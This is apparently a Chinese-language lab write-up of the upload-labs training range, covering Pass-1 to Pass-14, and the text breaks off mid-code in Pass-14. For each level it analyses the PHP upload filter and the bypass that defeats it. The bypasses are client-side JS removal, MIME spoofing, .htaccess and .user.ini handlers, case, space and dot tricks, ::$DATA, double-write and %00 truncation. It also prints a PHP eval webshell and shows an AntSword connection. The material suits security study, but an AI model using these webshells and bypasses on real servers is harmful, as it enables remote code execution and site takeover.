作者:Dr-black

最近实验室考核,跟着把upload又过了一遍,比以前做的时候分析的更深了些。本次主要站在白盒测试的角度进行上传分析,最后几关详细分析了代码

前置知识

php文件引用分析

先分析一下每个关卡中引用的这几个php文件

config.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
//文件包含漏洞页面
define("INC_VUL_PATH",APP_URL_ROOT . "/include.php");
//设置上传目录
define("UPLOAD_PATH", "../upload");
?>

helper.php

1
2
3
4
5
6
7
<?php

if($_GET['action'] == 'get_prompt'){
echo '本pass在客户端使用js对不合法图片进行检查!';
}

?>

其中涉及了define函数,该函数主要用于定义常量,定义之后使用时候无需再加入$符号

1
define(name,value,case_insensitive)

在config.php文件中定义了WWW_ROOTAPP_ROOTAPP_URL_ROOTINC_VUL_PATHUPLOAD_PATH多个常量

方便理解,我们把内容稍作修改然后打印出来看看

image-20231017203223525

image-20231017203143675

WWW_ROOT定义为了当前运行脚本所在的文档根目录

APP_ROOT定义为文件当前路径中的\\替换为/后的结果

APP_URL_ROOT定义为将APP_ROOT中含有WWW_ROOT部分删除的结果

INC_VUL_PATH定义为将APP_URL_ROOT拼接include.php

UPLOAD_PATH定义了一个上传路径为上一级的upload文件夹

$_FILES ——通过 HTTP POST 方式上传到当前脚本的项目的数组。

1
2
3
4
5
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。

isset()用于检测变量是否已设置并且非 NULL。

所用上传文件

本文所用info.php文件内容为

1
2
3
<?php
phpinfo();
?>

本文所用muma.php文件内容为

1
<?php @eval($_POST["drblack"]);?>

Pass-1 前端绕过

函数分析

1
2
3
4
5
alert()								 	 			//方法用于显示带有一条指定消息和一个 OK 按钮的警告框。

getElementsByName() //方法可返回带有指定名称的对象的集合。

lastIndexOf() //方法可返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置 从后向前搜索。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

上传部分控制逻辑为temp_file记录上传文件的临时名,img_path为上传文件的新路径(保留原名),再利用move_uploaded_file函数转移上传的文件到新路径下

通过file.substring(file.lastIndexOf("."));获取文件的后缀,此处进行一定解读:

  • 第一步通过lastIndexOf()找到了文件中最后一次出现”.”的位置,然后返回该位置a(假设为a)
  • 第二步通过substring(a)从a开始往后读取字符串并且返回,从而获取后缀名。

然后和白名单的3种文件类型对比,判断是否属于其中的3类。属于则可以直接上传,否则就上传失败

解题思路

  • 方法一:直接修改或删除js脚本

    打开Burpsuit(后文用Bp简写),开启拦截,点击pass-01,打开burpsuit界面,Do intercept-Response to request选项,可以得到这次发包的响应包

    image-20231017194816138

    然后放包(点击)Forward,即可发现其存在前端验证

    image-20231017195342172

    然后将其判断的代码删除或者修改,即可成功上传muma.php文件,无需再次抓包

image-20231017195444620

  • 方法二:使用Burpsuit抓包修改后缀达到绕过目的;

首先将info.php文件后缀修改为jpg(前端绕过),然后点击上传通过Burpsuit抓包。如下图,将后缀jpg修改为php即可成功上传

image-20231017194648065

image-20231017194620659

连接蚁剑

image-20231017195932437

Pass-2 服务器端检测–IMME类型

知识补充

Content-type

Content-Type在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息,常见有以下几类值:

multipart/form-data:一般用于文件上传;又是一个常见的 POST 数据提交的方式。与application/x-www-form-urlencoded不同,这是一个多部分多媒体类型。

application/x-www-form-urlencoded:最常见的 POST 提交数据的方式,一般用于表单提交。

application/json:服务端/客户端会按json格式解析数据。需要参数本身就是json格式的数据,参数会被直接放到请求实体里,不进行任何处理

本次主要涉及multipart/form-data类型绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

首先通过POST方式提交,并用isset函数检测其是否成功,然后用file_exists()检查文件是否存在,存在则检查其文件的MIME类型是否为以下三种,image/jpeg,image/gif,image/png,如果是,则通过$temp_file变量获取上传文件的临时文件名,然后将该文件移动到

1
UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] 

拼接的路径里面。然后进行判断,正确则返回true,否则就”文件上传错误”.

解题思路

直接上传muma.php进行尝试,发现提示”文件类型不正确,请重新上传”。这里由于后缀不符合,所以无法直接上传php文件。

image-20231018102526396

我们之前对代码进行了分析,发现其存在Content-Type绕过,所以我们上传muma.php文件同时通过Bp进行抓包

image-20231018102259173

将此处修改为image/jpeg即可成功上传,蚁剑能成功连接

image-20231018102422142

Pass-3 黑名单绕过

函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
strrchr() 			 //函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
strtolower() //把所有字符转换为小写
trim(string,charlist) //函数移除字符串两侧的空白字符或其他预定义字符。
string:必需。规定要检查的字符串
charlist 可选。规定从字符串中删除哪些字符。如果省略,则移除以下所有字符
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

str_ireplace(find,replace,string,count) //函数替换字符串中的一些字符(不区分大小写)
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

in_array() //函数搜索数组中是否存在指定的值。

deldot()函数,是该靶场作者自定义的函数,作用是删除文件名末尾的点,它在靶场文件夹下面的common.php文件中,源码:

1
2
3
4
5
6
7
8
9
10
11
12
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

if($c != '.'){
return substr($s,0,$i+1);
}
}
}

文件上传之后会有一个拼接路径方式,/ + data(日期)+随机数+$file_ex拼接,此处我们的$file_ext为. (有一个空格) ,所以不正确

1
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;  

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//首尾去空 1.php. .
$file_name = deldot($file_name);//删除文件名末尾的点1.php.
$file_ext = strrchr($file_name, '.'); //找到.最后出现的位置,返回从.后的所有字符.
$file_ext = strtolower($file_ext); //转换为小写.
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
  1. 先判断文件是否存在,若存在,则获取其文件名称
  2. 通过trim函数去除其文件名称多余的空白字符或者转义字符。
  3. 然后通过其自定义的deldot函数删除其文件末尾的点,
  4. 再通过strrchr函数获取从文件名中最后一个.符号开始的后面所有字符串(若上传文件为xx.php即可以获取后缀.php)
  5. 然后通过strtolower函数将后缀名全部转换为小写,
  6. 然后通过str_ireplace函数将后缀名中如果存在的::$DATA符号删去。
  7. 然后使用trim函数对后缀进行去空格操作。
  8. 通过in_array函数对比其后缀是否属于 $deny_ext中的几项,若不属于,则继续上传

为了方便了解整个过程,我们上传一个muma.php. .文件,看看上传后实际是什么情况

image-20231018111253039

查看对应路径下文件

被修改为了一个日期的随机文件名,但是没有任何后缀,这里后缀按照正确流程应该是.php. .->.php.空格->.空格->.那么文件名应该是最后后缀为一个.image-20231018111315050

这里就要提到windows的一个文件特性,对于文件末尾的.会自动忽略。下方我们将1.php修改为1. 结果最终windows自动修改为了1

image-20231018111733415

image-20231018111746318

解题思路

直接上传php文件,提示不允许上传

image-20231018105135912

那么我们继续观察,其设置的后缀为黑名单,我们选择这四种后缀之外的文件就可以成功上传,比如php5,我们将其info.php修改为info.php5之后,即可成功上传

image-20231018105235254

image-20231018105442953

Pass-4 .htaccess

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解题思路

该题代码与第三关几乎相同,仅仅在黑名单中多添加了一些后缀,我们仔细观察后发现其没有过滤.htaccess

.htaccess文件,指在特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。

管理员可以通过Apache的AllowOverride ALL指令来设置打开或关闭该功能

image-20231018185446672

通俗的理解就是,该文件可以作用该目录以及子目录下的所有文件。

我们可以通过该文件,发出某个指令,令其该目录下的文件都当作php文件执行,从而达到利用的目的

  1. 创建一个.htaccess文件,文件内容为

    1
    2
    3
    <FilesMatch "info.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch> //将该目录以及子目录下的info.jpg当作php文件执行
  2. 将.htaccess文件上传

  3. 上传我们准备好的info.jpg文件,文件内容<?php phpinfo();?>,然后点击即可发现上传成功并解析

    image-20231018192339113

    易错点这里htaccess文件直接命名为.htaccess,前面不要额外加文件名

Pass-5 . .绕过 和user.ini

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里的代码和第三关有一点微小的区别,我们仔细对照发现,这里的路径变量拼接方式为

1
$img_path = UPLOAD_PATH.'/'.$file_name;

而第三关为:

1
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

区别在于 第三关拼接的file_ext为其通过strrchr后获取的字符(正常情况下为后缀,但是若为info.php. .这类,则为. ),而本关获取的是文件名(包括完整后缀)。

解题思路

  • 方法一:

从代码分析模块我们可以发现其路径拼接的区别,所以我们采用. .的绕过方式。上传info.php文件通过bp抓包修改其后缀为info.php. .然后上传,经过代码处理后,其文件名会变为info.php. 再即可成功。

我们先模拟一下文件对info.php. . 的处理流程,可以看见$file_name处理后值为info.php. (这里有一个空格),而$file_ext值为.

image-20231018194624181

image-20231018194543220

最终的文件路径拼接的时候应该是info.php. 最后的空格和.会因为windows系统的特性自动过滤掉,成为info.php

image-20231018195341503

image-20231018201447709

  • 方法二:.user.ini绕过

    先了解一下.user.ini是什么,它是PHP 支持基于每个目录的配置 INI 文件。.user.ini.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性

    下面的是php.ini文件的官方手册

    https://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file

    提到了.user.ini只要不是PHP_INI_SYSTEM模式下的属性,均可以在.user.ini中设置,可以通过该表来查看哪些属性属于哪些模式,下面的auto_prepend_file属性即可用于文件上传攻击

    image-20231018203140635

image-20231018203853463

然后上传info.jpg文件,访问upload目录下的readme.php文件即可发现成功解析phpinfo(这里注意踩坑,我开始用的php 5.4发现不行,改为php7.2重启phpstudy后成功,应该是phpstudy下的这个5.4没有配置fastcgi吧)

image-20231018204657559

Pass-6 大小写绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

本关代码与之前的基本相同,不做过多赘述

解题思路

可以发现,这里黑名单过滤了极多的部分,包括.htaccess .ini以及之前用到的php5等。仔细查看源码发现,其没有进行大小写的过滤。所以可以通过大小写进行绕过。

上传info.php文件,然后进行抓包,修改其后缀为info.phP(Php.pHp均可),然后放包即可。

image-20201012184243550

Pass-7 空格绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这关源码删去了trim()函数,也就是用来去除字符串两端的空格,所以我们如果在上传文件的后缀名里面加上空格,不属于黑名单内容,我们就可以成功进行上传

解题思路

仔细观察代码中部可以发现,其忽略了空格存在的情况,所以我们可以使用空格绕过的方式,上传info.php进行抓包,然后在其后缀处加上一个空格 即info.php(此处有一个空格)

image-20201012184243550

然后上传后,打开上传的图片查看,如下图,即成功。

image-20201012184243550

Pass-8 . 绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

由于windows系统中比如后缀.php. .txt.是不可以的,系统会自动略去最后那一位点

解题思路

我们观察源代码,发现其没有删除文件名中小数点的函数

上传info.php.文件,然后进行抓包,

image-20231018213756045

放包后打开上传的文件,如下即成功。

image-20231018213756045

Pass-9 ::$DATA 特殊符号绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解题思路

::$DATA(只适用于Windows系统)在Windows的时候如果文件名"+::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名绕过,比如上传的文件名为info.php::$DATA会在服务器上重新生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

本关观察代码后发现其没有进行::$DATA的过滤,所以按照上述方法。上传info.php文件然后进行抓包添加::$DATA,

image-20231018213756045

上传成功后,可以发现被成功解析

image-20231018213845208

Pass-10 . .点 空格 点绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
  • 删除文件名末尾的点
  • 转换为小写
  • 去除字符串::$DATA
  • 首尾去空

这关和pass-5一样用. .绕过

解题思路

通过代码分析可以推断,我们可以使用. .绕过的方法达到上传php文件的目的。

上传info.php文件修改其后缀为info.php. .然后放包,打开上传的文件查看

image-20231018214907555

image-20231018214942876

Pass-11 双写绕过

函数分析

本关函数依然是之前的部分

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

先使用trim函数去除其两边的空白字符以及转义字符,再使用str_ireplace,将$file_name的字符串与$deny_ext中的黑名单对比,如果有相同的,则从$file_name中删除对应部分,通常这种情况的过滤,可以使用双写对应的字符,使其删除一次后恢复为正确的文件后缀进行绕过。例如pphphp经过绕过之后修改为php

解题思路

通过代码分析发现,我们可以通过双写绕过达到上传文件的目的,上传muma.php文件通过bp抓包。修改其后缀为info.pphphp,然后放包。

image-20231019102552141

打开上传成功的文件,然后查看是否显示为phpinfo界面。

image-20231019102635130

Pass-12 %00截断(GET型)

函数分析

1
2
strrpos(string $haystack, string $needle, int $offset = 0): int|false 
//函数返回 haystack 字符串中 needle 最后一次出现的数字位置。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

下面的$file_ext匹配上传文件名中的.最后一次出现位置+1后面的所有字符串

1
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

解题思路

通过观察函数可以发现,我们的上传路径是可控的(通过GET方式传参),所以我们想到可以使用%00截断的方法

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

也可查看抓包后的信息可以看见有save_path,说明路径可控。我们通过修改路径令save_path: ../uploads/info.php%00,然后正常上传一个文件后缀为.jpgphpinfo文件,代码处得到的后缀为jpg,能够通过对文件后缀的检测,当径后,在$img_path变量出就会出现其值为../uploads/info.php%00+随机日期.jpg,当执行move_uploaded_file函数时,服务器会对路径中%00后的内容不做解析,默认迁移文件为../uploads/info.php

%00截断原理

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

正确用法

只有数据包中必须含有上传路径的情况下才可以用,比如本次测试中数据包中存在save_path: ../uploads/,那么攻击者可以通过修改path的值来构造paylod,并且PHP<5.3.29,且magic_quotes_gpc关闭

错误用法

只有文件名的情况下,是不能让%00截断生效的,因为只是文件名可控,即使通过00截断test.php%00.txt,但是此时经过服务器处理后,文件名仍然为test.php,不能通过对后缀的检测

所以在此题中,我们上传info.jpg,然后抓包截断。路径处加上info.php%00即可

image-20231019105623524

然后打开上传成功的文件显示的路径,删除其尾部的多余部分(随机日期+后缀),因为实际服务器处理的路径不含后面部分,只有info.php

image-20231019111942001

Pass-13 %00截断(POST型)

函数分析

与之前相同

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这里和上一关区别只是一个为POST一个为GET方法,在GET请求中会对输入的内容进行URL解码。但POST请求有不同,因为在上传表单中存在一个enctype的属性,而且在enctype=”multipart/form-data”这里,是不会对表单中的数据进行解码的,需要我们将POST中的%00解码后传入。

解题思路

image-20231019112240657

使用burp中的解码功能对%00进行解码

image-20231019113031663

上传成功

image-20231019113014394

Pass-14 图片马(文件包含)

函数分析

1
unpack(format,data)				 //函数从二进制字符串对数据进行解包。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
